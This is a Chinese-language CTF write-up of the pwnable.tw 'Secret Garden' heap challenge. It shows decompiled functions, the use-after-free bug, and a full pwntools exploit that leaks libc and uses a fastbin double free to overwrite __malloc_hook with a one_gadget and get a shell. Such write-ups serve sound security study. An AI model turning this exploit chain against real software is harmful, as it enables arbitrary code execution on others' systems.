和媳妇一起学Pwn 之 Secret Garden
摘要:from pwn import * # challenge information context(arch='amd64',os='linux',log_level='debug') myelf = ELF("./secretgarden") libc = ELF("./libc_64.so.6") io = process(myelf.path,env={"LD_PRELOAD" : libc.path}) rio = remote("chall.pwnable.tw",10203) # local libc local_libc_64 = ELF("/lib/x86_64-linux-gnu/libc.so.6") local_libc_32 = ELF("/lib/i386-linux-gnu/libc.so.6") # functions for quick script s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda numb=4096 :io.recv(numb) ru = lambda delims :io.recvuntil(delims) # misc functions uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr)) # one gadget one_gadget_16_04_32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] one_gadget_16_04_64 = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget_18_04_64 = [0x4f2c5,0x4f322,0x10a38c] # base addr gdb_text_base = int(os.popen("pmap {}| awk ''".format(io.pid)).readlines()[1], 16) gdb_libc_base = int(os.popen("pmap {}| grep libc | awk ''".format(io.pid)).readlines()[0], 16) # debug function def debug(addr=0,cmd='',PIE=True): if PIE: addr = gdb_text_base + addr log.warn("breakpoint_addr --> 0x%x" % addr) gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) clear = lambda : (sla("choice : ","4")) add(500,"1","1") debug(0x107b,"x /100bx "+hex(gdb_libc_base+libc.symbols['__malloc_hook']-0x50)) add(500,"1","1") io.interactive()。from pwn import * context(arch='amd64',os='linux',log_level='debug') libc = ELF("./libc_64.so.6") io = remote("chall.pwnable.tw",10203) one_gadget = 0xef6c4 sla = lambda delim,data : io.sendlineafter(delim,data) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) # use unsorted bin to leak libc add(500,"1","1") add(40,"1","1") add(10,"1","1") rm(1)。
漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。
利用方式:本题libc版本为2.23,故可以使用构造FastbinAttack的DoubleFree完成有约束的地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__malloc_hook函数指针为one_gadget,并触发即可getshell。
检查
➜ file secretgarden secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, stripped ➜ checksec secretgarden Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
64位,动态链接,去符号表,保护全开
分析
仍然是菜单题目:种花,逛花园,扔了花,清理花园,回家。然后仍然是进行一系列的patch加改名。题目的代码稍微有一点点难看
add
int add() { _QWORD *flower; // rbx void *flower_name; // rbp _QWORD *v2; // rcx signed int v3; // edx unsigned int size[9]; // [rsp+4h] [rbp-24h] *(_QWORD *)&size[1] = __readfsqword(0x28u); size[0] = 0; if ( total_num > 0x63u ) return puts("The garden is overflow"); flower = malloc(0x28uLL); *flower = 0LL; flower[1] = 0LL; flower[2] = 0LL; flower[3] = 0LL; flower[4] = 0LL; __printf_chk(1LL, "Length of the name :"); if ( (unsigned int)__isoc99_scanf("%u", size) == -1 ) exit(-1); flower_name = malloc(size[0]); if ( !flower_name ) { puts("Alloca error !!"); exit(-1); } __printf_chk(1LL, "The name of flower :"); read(0, flower_name, size[0]); flower[1] = flower_name; __printf_chk(1LL, "The color of the flower :"); __isoc99_scanf("%23s", flower + 2); *(_DWORD *)flower = 1; if ( list[0] ) { v2 = &list[1]; v3 = 1; while ( *v2 ) { ++v3; ++v2; if ( v3 == 100 ) goto LABEL_14; } } else { v3 = 0; } list[v3] = flower; LABEL_14: ++total_num; return puts("Successful !"); }
show
int show() { __int64 v0; // rbx __int64 v1; // rax __int64 v2; // rcx __int64 v3; // rcx v0 = 0LL; if ( total_num ) { do { v1 = list[v0]; if ( v1 && *(_DWORD *)v1 ) { v2 = *(_QWORD *)(v1 + 8); __printf_chk(1LL, "Name of the flower[%u] :%s\n"); v3 = list[v0]; LODWORD(v1) = __printf_chk(1LL, "Color of the flower[%u] :%s\n"); } ++v0; } while ( v0 != 100 ); } else { LODWORD(v1) = puts("No flower in the garden !"); } return v1; }
del
int del() { int result; // eax _DWORD *v1; // rax unsigned int v2; // [rsp+4h] [rbp-14h] unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); if ( !total_num ) return puts("No flower in the garden"); __printf_chk(1LL, "Which flower do you want to remove from the garden:"); __isoc99_scanf("%d", &v2); if ( v2 <= 0x63 && (v1 = (_DWORD *)list[v2]) != 0LL ) { *v1 = 0; free(*(void **)(list[v2] + 8LL)); result = puts("Successful"); } else { puts("Invalid choice"); result = 0; } return result; }
clear
unsigned __int64 clear() { _QWORD *v0; // rbx _DWORD *v1; // rdi unsigned __int64 v3; // [rsp+8h] [rbp-20h] v3 = __readfsqword(0x28u); v0 = list; do { v1 = (_DWORD *)*v0; if ( *v0 && !*v1 ) { free(v1); *v0 = 0LL; --total_num; } ++v0; } while ( v0 != &list[100] ); puts("Done!"); return __readfsqword(0x28u) ^ v3; }
数据结构
漏洞点
调试模板
因为程序开启了PIE,所以在调试打断时会有点麻烦,所以设计如下调试模板,参考:
from pwn import * # challenge information context(arch='amd64',os='linux',log_level='debug') myelf = ELF("./secretgarden") libc = ELF("./libc_64.so.6") io = process(myelf.path,env={"LD_PRELOAD" : libc.path}) rio = remote("chall.pwnable.tw",10203) # local libc local_libc_64 = ELF("/lib/x86_64-linux-gnu/libc.so.6") local_libc_32 = ELF("/lib/i386-linux-gnu/libc.so.6") # functions for quick script s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda numb=4096 :io.recv(numb) ru = lambda delims :io.recvuntil(delims) # misc functions uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr)) # one gadget one_gadget_16_04_32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] one_gadget_16_04_64 = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget_18_04_64 = [0x4f2c5,0x4f322,0x10a38c] # base addr gdb_text_base = int(os.popen("pmap {}| awk ''".format(io.pid)).readlines()[1], 16) gdb_libc_base = int(os.popen("pmap {}| grep libc | awk ''".format(io.pid)).readlines()[0], 16) # debug function def debug(addr=0,cmd='',PIE=True): if PIE: addr = gdb_text_base + addr log.warn("breakpoint_addr --> 0x%x" % addr) gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) clear = lambda : (sla("choice : ","4")) add(500,"1","1") debug(0x107b,"x /100bx "+hex(gdb_libc_base+libc.symbols['__malloc_hook']-0x50)) add(500,"1","1") io.interactive()
利用
堆排布泄露libc
修改__malloc_hook
one_gadget利用约束
最终exp
from pwn import * context(arch='amd64',os='linux',log_level='debug') libc = ELF("./libc_64.so.6") io = remote("chall.pwnable.tw",10203) one_gadget = 0xef6c4 sla = lambda delim,data : io.sendlineafter(delim,data) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) # use unsorted bin to leak libc add(500,"1","1") add(40,"1","1") add(10,"1","1") rm(1);rm(0) add(500,"","1") show();io.recvuntil("flower[3] :") libc_addr = u64(io.recv(6)+'\x00\x00')-0x3c3b0a malloc_hook = libc_addr + libc.symbols['__malloc_hook'] # use fastbin double free attack to modify malloc_hook, the fake chunk addr is found by dynamic debug fake_chunk = malloc_hook-0x23 add(104,'1','1') add(104,'1','1') rm(4);rm(5);rm(4) add(104,p64(fake_chunk),'1') add(104,'1','1') add(104,'1','1') add(104,'a'*19+p64(libc_addr+one_gadget),'1') # call malloc by using double free error to satisfy one_gadget constraints rm(8);rm(8) io.interactive()